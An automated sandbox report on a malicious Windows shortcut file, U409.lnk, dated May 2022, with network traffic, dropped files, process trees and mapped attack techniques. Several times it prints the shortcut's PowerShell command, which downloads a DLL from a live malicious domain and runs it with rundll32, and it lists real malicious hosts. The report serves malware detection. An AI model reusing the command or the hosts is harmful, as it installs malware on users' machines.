focusagd.net	192.185.131.124	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://focusagd.net/4REat6sBv0/1.png	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.461042349.000001B2A4685000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.452491884.000001B294832000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.452491884.000001B294832000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.460661565.000001B295B6F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.461042349.000001B2A4685000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.461042349.000001B2A4685000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000000.00000002.461042349.000001B2A4685000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://focusagd.net/4REat6sBv0/1.png0y	powershell.exe, 00000000.00000002.452491884.000001B294832000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.461042349.000001B2A4685000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://focusagd.net	powershell.exe, 00000000.00000002.457054218.000001B29538C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.452137911.000001B294621000.00000004.00000800.00020000.00000000.sdmp	false		high
https://focusagd.net/4REat6sBv0/1.png-OutFile$env:TEMP	powershell.exe, 00000000.00000002.461543157.000001B2ACA6B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.451743155.000001B292700000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.451773245.000001B29275A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.451955432.000001B2929B0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://focusagd.net	powershell.exe, 00000000.00000002.457013853.000001B295377000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.452491884.000001B294832000.00000004.00000800.00020000.00000000.sdmp	false		high
https://focusagd.net/4REat6sBv0/1.png1.0	powershell.exe, 00000000.00000002.451842036.000001B292777000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://focusagd.netx	powershell.exe, 00000000.00000002.457013853.000001B295377000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.185.131.124	focusagd.net	United States		46606	UNIFIEDLAYER-AS-1US	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	626149
Start date and time: 13/05/202216:43:05	2022-05-13 16:43:05 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	U409.lnk
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.rans.winLNK@4/6@1/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 2 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .lnk Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Execution Graph export aborted for target powershell.exe, PID 5236 because it is empty
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
16:44:24	API Interceptor	34x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UNIFIEDLAYER-AS-1US	2Qhf8IMXPr	Get hash	malicious	Browse	98.131.204.200
	https://leadscrapper.com/ev/ntsiaimi	Get hash	malicious	Browse	192.254.236.149
	https://surveyatos.com	Get hash	malicious	Browse	192.185.190.187
	payment advice.exe	Get hash	malicious	Browse	142.4.0.135
	https://securepubads.g.doubleclick.net/pcs/view?adurl=https%3a%2f%2fquzqvm.codesandbox.io?dg=cHJ6ZW15c2xhdy5rcmF3Y3p5a293c2tpQG1hZXJza2RyaWxsaW5nLmNvbQ==	Get hash	malicious	Browse	192.185.78.150
	M456_ __ ___ __.exe	Get hash	malicious	Browse	142.4.0.135
	POZ1809027.bit.gz.exe	Get hash	malicious	Browse	142.4.0.135
	Falconincorporation_Form_Dt_05.12.2022.xls	Get hash	malicious	Browse	192.254.239.248
	z4ehq74vWO	Get hash	malicious	Browse	173.83.212.190
	https://apiservices.krxd.net/click_tracker/track?kx_event_uid=LR25EaJr&clk=http://51462046981xnZKorVuKVrP.praiadofortecabofrio.com.br/aa/jkwarburton@nuskin.com	Get hash	malicious	Browse	162.241.102.156
	https://apiservices.krxd.net/click_tracker/track?kx_event_uid=LR25EaJr&clk=http://89204186061IBowccqdtxpJ.praiadofortecabofrio.com.br/aa/fournier@saskpolytech.ca	Get hash	malicious	Browse	162.241.102.156
	9mfbEdx1Hp.exe	Get hash	malicious	Browse	192.185.174.178
	ORDER M52022.xlsx	Get hash	malicious	Browse	192.185.174.178
	x86	Get hash	malicious	Browse	162.144.117.208
	njC7yGDPxF	Get hash	malicious	Browse	142.7.196.50
	tt.exe	Get hash	malicious	Browse	192.185.174.19
	SO-127.xlsx	Get hash	malicious	Browse	192.185.174.177
	DHL_AWB SHIPMENT DOCUMENTS.xlsx	Get hash	malicious	Browse	192.185.174.178
	Colpal (1).zip	Get hash	malicious	Browse	192.254.239.248
	rrRlkBgAuN.exe	Get hash	malicious	Browse	192.185.211.151

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	vaeNP8_1Pv_b(004).cmd	Get hash	malicious	Browse	192.185.131.124
	SmartNetITStore_SECOND.ps1	Get hash	malicious	Browse	192.185.131.124
	Report.vbs	Get hash	malicious	Browse	192.185.131.124
	Floor_Factors.lnk	Get hash	malicious	Browse	192.185.131.124
	EPI.lnk	Get hash	malicious	Browse	192.185.131.124
	SecuriteInfo.com.Heur.906.xlsx	Get hash	malicious	Browse	192.185.131.124
	6VIPGo475e.exe	Get hash	malicious	Browse	192.185.131.124
	8rDJ5JmSAD.exe	Get hash	malicious	Browse	192.185.131.124
	MAKo2bWh1R.exe	Get hash	malicious	Browse	192.185.131.124
	n0z8Ep95rd.exe	Get hash	malicious	Browse	192.185.131.124
	AZ2cy5s5OF.exe	Get hash	malicious	Browse	192.185.131.124
	JrtkShv8bv.ps1	Get hash	malicious	Browse	192.185.131.124
	Kaufvertrag.lnk	Get hash	malicious	Browse	192.185.131.124
	4BDAd47i.txt.cmd	Get hash	malicious	Browse	192.185.131.124
	Read Me.txt.cmd	Get hash	malicious	Browse	192.185.131.124
	PO^^MAYIN00043INBOMSpecifications Sheet^^^^^d.exe	Get hash	malicious	Browse	192.185.131.124
	JD001.exe	Get hash	malicious	Browse	192.185.131.124
	SVZEFHXVJZXR_PAYMENT_COPY.VBS	Get hash	malicious	Browse	192.185.131.124
	www.admin.booking.com_hotel_extranet_booking.html_res_id=3949896070.bat	Get hash	malicious	Browse	192.185.131.124

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	5.325275554903011
Encrypted:	false
SSDEEP:	24:3aEPpQrLAo4KAxX5qRPD42HOoFe9t4CvKuKnKJJx5:qEPerB4nqRL/HvFe9t4Cv94ar5
MD5:	05CF074042A017A42C1877FC5DB819AB
SHA1:	5AF2016605B06ECE0BFB3916A9480D6042355188
SHA-256:	971C67A02609B2B561618099F48D245EA4EB689C6E9F85232158E74269CAA650
SHA-512:	96C1C1624BB50EC8A7222E4DD21877C3F4A4D03ACF15383E9CE41070C194A171B904E3BF568D8B2B7993EADE0259E65ED2E3C109FD062D94839D48DFF041439A
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jkhzmzhu.faq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wyctevpv.ahu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3QFB5TW2E0OWUY7XS0HW.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4447
Entropy (8bit):	3.784261743371929
Encrypted:	false
SSDEEP:	48:JIjV2QsH/lDnM3SoY8krSogZoLHM3SoY8krSogZonH:JIjVSflrDcHkDcHa
MD5:	FF079E662A9AB09673EC66C9EC8E6081
SHA1:	836B23EC0E20FCCE87D522B211D1D980373648AF
SHA-256:	3DE66A5F841FFC06C38BE9D73C001DE8EC15B693C92EA43C8E2704797A2558D8
SHA-512:	CD9D5CC3765553CCFF72EEF87FB7C3FD6F01ABA2C91F9F98B19FA8E511AC36F53EF6B15A4C02AEF4F73943979A454E5CDFBA7CB6919EE36B2FEE6C8C801311A8
Malicious:	false
Preview:	...................................FL..................F. .. ...U....3..TQ.^#g....4]#g...............................P.O. .:i.....+00.:...:..,.LB.)...A&...&..........-..8...3.....^#g....Z.2......T.. .U409.lnk..B......hT...T..............................o.U.4.0.9...l.n.k.......O...............-.......N...........\..$.....C:\Users\user\Desktop\U409.lnk..`.......X.......305090...........!a..%.H.VZAj......s.........W...!a..%.H.VZAj......s.........W.........Y...1SPS.....Oh.....+'..=................R.u.n. .a.s. .A.d.m.i.n.i.s.t.r.a.t.o.r.........9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ...........................FL..................F.".. ....#N........{...#N......@...........................P.O. .:i.....+00.../C:\...................V.1.....hT....Windows.@......L...T............................%%..W.i.n.d.o.w.s.....Z.1.....hT....System32..B......L...T............................9.1.S.y.s.t.e.m.3.2.....l.1......L...WINDOW~1..T......L..T......W...................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5cfda808955a3324.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4447
Entropy (8bit):	3.784261743371929
Encrypted:	false
SSDEEP:	48:JIjV2QsH/lDnM3SoY8krSogZoLHM3SoY8krSogZonH:JIjVSflrDcHkDcHa
MD5:	FF079E662A9AB09673EC66C9EC8E6081
SHA1:	836B23EC0E20FCCE87D522B211D1D980373648AF
SHA-256:	3DE66A5F841FFC06C38BE9D73C001DE8EC15B693C92EA43C8E2704797A2558D8
SHA-512:	CD9D5CC3765553CCFF72EEF87FB7C3FD6F01ABA2C91F9F98B19FA8E511AC36F53EF6B15A4C02AEF4F73943979A454E5CDFBA7CB6919EE36B2FEE6C8C801311A8
Malicious:	false
Preview:	...................................FL..................F. .. ...U....3..TQ.^#g....4]#g...............................P.O. .:i.....+00.:...:..,.LB.)...A&...&..........-..8...3.....^#g....Z.2......T.. .U409.lnk..B......hT...T..............................o.U.4.0.9...l.n.k.......O...............-.......N...........\..$.....C:\Users\user\Desktop\U409.lnk..`.......X.......305090...........!a..%.H.VZAj......s.........W...!a..%.H.VZAj......s.........W.........Y...1SPS.....Oh.....+'..=................R.u.n. .a.s. .A.d.m.i.n.i.s.t.r.a.t.o.r.........9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ...........................FL..................F.".. ....#N........{...#N......@...........................P.O. .:i.....+00.../C:\...................V.1.....hT....Windows.@......L...T............................%%..W.i.n.d.o.w.s.....Z.1.....hT....System32..B......L...T............................9.1.S.y.s.t.e.m.3.2.....l.1......L...WINDOW~1..T......L..T......W...................

C:\Users\user\Documents\20220513\PowerShell_transcript.305090.0TyhnxeB.20220513164423.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	5.254840999574827
Encrypted:	false
SSDEEP:	24:BxSAzyDvBB/nx2DOXUWFI1Jf9WmHjeTKKjX4CIym1ZJX2I1Jf/enxSAZea:BZ+v/foOlI1Jf0mqDYB1Z8I1JfYZZV
MD5:	2CBB07B047EBCB8AE957FAE83170FF5F
SHA1:	8EDFA10D183635D841ED6E0D17EA119A064E1715
SHA-256:	EAA4ECDC5F01C5C7B77B9214FAE5A9D93DABF172B528BE22F5ADC673FA1520D7
SHA-512:	83A4CF6E47B1BF2DE45613CC5AB072D3AE9A32CE28DD3B3CE13AD63F405C5929D05D9C44BE6E9FA92D5BA1FE8FDB0B98F3B176C296C5657BC84DC8F405A88EC9
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220513164424..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 305090 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest https://focusagd.net/4REat6sBv0/1.png -OutFile $env:TEMP\file120.dll;Start-Process rundll32 $env:TEMP\file120.dll,DllInstall..Process ID: 5236..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220513164424..******************..PS>Invoke-WebRequest https://focusagd.net/4REat6sBv0/1.png -OutFile $env:TEMP\file120.dll;Start-Process rundll32 $env:TEMP\file120.dll,DllInstall..********************

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Archive, ctime=Wed Oct 6 12:53:12 2021, mtime=Fri May 13 13:33:12 2022, atime=Wed Oct 6 12:53:12 2021, length=452608, window=showminimized
Entropy (8bit):	4.522815845850403
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	U409.lnk
File size:	1519
MD5:	d4bda79d6f9b6edc1de19675054412bc
SHA1:	1121c9c0977f67d605e5dcf740f5f5a8465c0f1d
SHA256:	32add7446a9293f42c2db5b95afa2d722fb0b8a94baa6d4804e5d652a897fd7c
SHA512:	a6a1a38b69f34239dd5353db7ecd3421ec01eda256562cb5eb3f727b8e28eafcecc4c9b36a810d715d74e4da48234aa53ef7d981782ff6e66ad2c3c512c802a6
SSDEEP:	24:86etsz5tzRfDoKRh8WieAQkWuv+/CWzffXq93bUMkW0/91Z7/bJWm:86eqbzRfpsQOu69rHin7bJW
TLSH:	2931DD041BE20768D7F69F39FCB726229A737C16FE628F8D428041481C69114E865F7F
File Content Preview:	L..................F.... ....$'........_.f...$'..................................P.O. .:i.....+00.../C:\...................V.1......T....Windows.@........OwH.T.p..........................D...W.i.n.d.o.w.s.....Z.1......T....System32..B........OwH.T.p......

File Icon


Icon Hash:	14ec98b2bae9ed0d

Static Windows Shortcut Info

General
Relative Path:
Command Line Argument:	Invoke-WebRequest https://focusagd.net/4REat6sBv0/1.png -OutFile $env:TEMP\file120.dll;Start-Process rundll32 $env:TEMP\file120.dll,DllInstall
Icon location:

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2022 16:44:25.637516022 CEST	49747	443	192.168.2.5	192.185.131.124
May 13, 2022 16:44:25.637573957 CEST	443	49747	192.185.131.124	192.168.2.5
May 13, 2022 16:44:25.637680054 CEST	49747	443	192.168.2.5	192.185.131.124
May 13, 2022 16:44:25.664722919 CEST	49747	443	192.168.2.5	192.185.131.124
May 13, 2022 16:44:25.664755106 CEST	443	49747	192.185.131.124	192.168.2.5
May 13, 2022 16:44:25.968442917 CEST	443	49747	192.185.131.124	192.168.2.5
May 13, 2022 16:44:25.968573093 CEST	49747	443	192.168.2.5	192.185.131.124
May 13, 2022 16:44:25.981261015 CEST	49747	443	192.168.2.5	192.185.131.124
May 13, 2022 16:44:25.981296062 CEST	443	49747	192.185.131.124	192.168.2.5
May 13, 2022 16:44:25.981667042 CEST	443	49747	192.185.131.124	192.168.2.5
May 13, 2022 16:44:26.001305103 CEST	49747	443	192.168.2.5	192.185.131.124
May 13, 2022 16:44:26.048496008 CEST	443	49747	192.185.131.124	192.168.2.5
May 13, 2022 16:44:26.681396008 CEST	443	49747	192.185.131.124	192.168.2.5
May 13, 2022 16:44:26.681466103 CEST	443	49747	192.185.131.124	192.168.2.5
May 13, 2022 16:44:26.681531906 CEST	49747	443	192.168.2.5	192.185.131.124
May 13, 2022 16:44:26.683955908 CEST	49747	443	192.168.2.5	192.185.131.124

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2022 16:44:25.475189924 CEST	53757	53	192.168.2.5	8.8.8.8
May 13, 2022 16:44:25.619276047 CEST	53	53757	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 13, 2022 16:44:25.475189924 CEST	192.168.2.5	8.8.8.8	0xd3dd	Standard query (0)	focusagd.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 13, 2022 16:44:25.619276047 CEST	8.8.8.8	192.168.2.5	0xd3dd	No error (0)	focusagd.net		192.185.131.124	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

focusagd.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49747	192.185.131.124	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
2022-05-13 14:44:25 UTC	0	OUT	GET /4REat6sBv0/1.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1 Host: focusagd.net Connection: Keep-Alive
2022-05-13 14:44:26 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 13 May 2022 14:44:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Content-Length: 0 Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	16:44:20
Start date:	13/05/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest https://focusagd.net/4REat6sBv0/1.png -OutFile $env:TEMP\file120.dll;Start-Process rundll32 $env:TEMP\file120.dll,DllInstall
Imagebase:	0x7ff619710000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Target ID:	1
Start time:	16:44:20
Start date:	13/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	16:44:27
Start date:	13/05/2022
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Users\user\AppData\Local\Temp\file120.dll DllInstall
Imagebase:	0x7ff7ebe30000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Function 00007FF9F1B31C59 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.461754060.00007FF9F1B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9f1b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7368387cb85a32973489e490e21b3c97d00c5368a56dce81f1448672741b51ce
Instruction ID: d13180c71dad613956078704427444f1ac593dee2519cf7e646e02b411fac1df
Opcode Fuzzy Hash: 7368387cb85a32973489e490e21b3c97d00c5368a56dce81f1448672741b51ce
Instruction Fuzzy Hash: 9651273190CA498FC305DB18D454BA5BBE5FF86310F8886BBE05CC71DACF68A99587C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1B31B34 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.461754060.00007FF9F1B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9f1b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93144beda67a8aef1c8d99ab64966b7902ec09a65d9dc2ecb51730d8fe70bf90
Instruction ID: 152976f2c728cd1febb84cebdb6a987acf478b3b6edfaf3ce56198258214b5b8
Opcode Fuzzy Hash: 93144beda67a8aef1c8d99ab64966b7902ec09a65d9dc2ecb51730d8fe70bf90
Instruction Fuzzy Hash: AA21C43011CA498FE74DDF18D0956BAB7E0FF96350F54057EE08AC71A6EB26B882C741

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF9F1B30CBD Relevance: 1.6, Strings: 1, Instructions: 394COMMON

Download Yara Rule

Strings

3`_^, xrefs: 00007FF9F1B30EB1

Memory Dump Source

Source File: 00000000.00000002.461754060.00007FF9F1B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9f1b30000_powershell.jbxd

Similarity

API ID:
String ID: 3`_^
API String ID: 0-989691419
Opcode ID: dc18d5d5ca231b76ffe2b9846ea3aeb3900d2a18470de7c240520d8798b35f59
Instruction ID: b7057233446f0dee3f89e20c2e9fa560c81aee710864a692b62b95c94c72b188
Opcode Fuzzy Hash: dc18d5d5ca231b76ffe2b9846ea3aeb3900d2a18470de7c240520d8798b35f59
Instruction Fuzzy Hash: 50B1E863D0C9968FE742DB2CB8A62E63FD0FF52225B4D10B7C498CA4D7EE45785A4390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1B31878 Relevance: .8, Instructions: 803COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.461754060.00007FF9F1B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9f1b30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2cd98c825e6107704b0d71f593228a79b3a27ee0ca8bcbf46d8aa0588155f89
Instruction ID: 1a85662a0e7166ac051031acf2d5700105fb187b2bb97385d3d82ec80d39ecf8
Opcode Fuzzy Hash: d2cd98c825e6107704b0d71f593228a79b3a27ee0ca8bcbf46d8aa0588155f89
Instruction Fuzzy Hash: 4E323731A0C6468FE729EB2CA4412B5BBD0EF46321F5445BFC09DC759ADB69B89683C0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

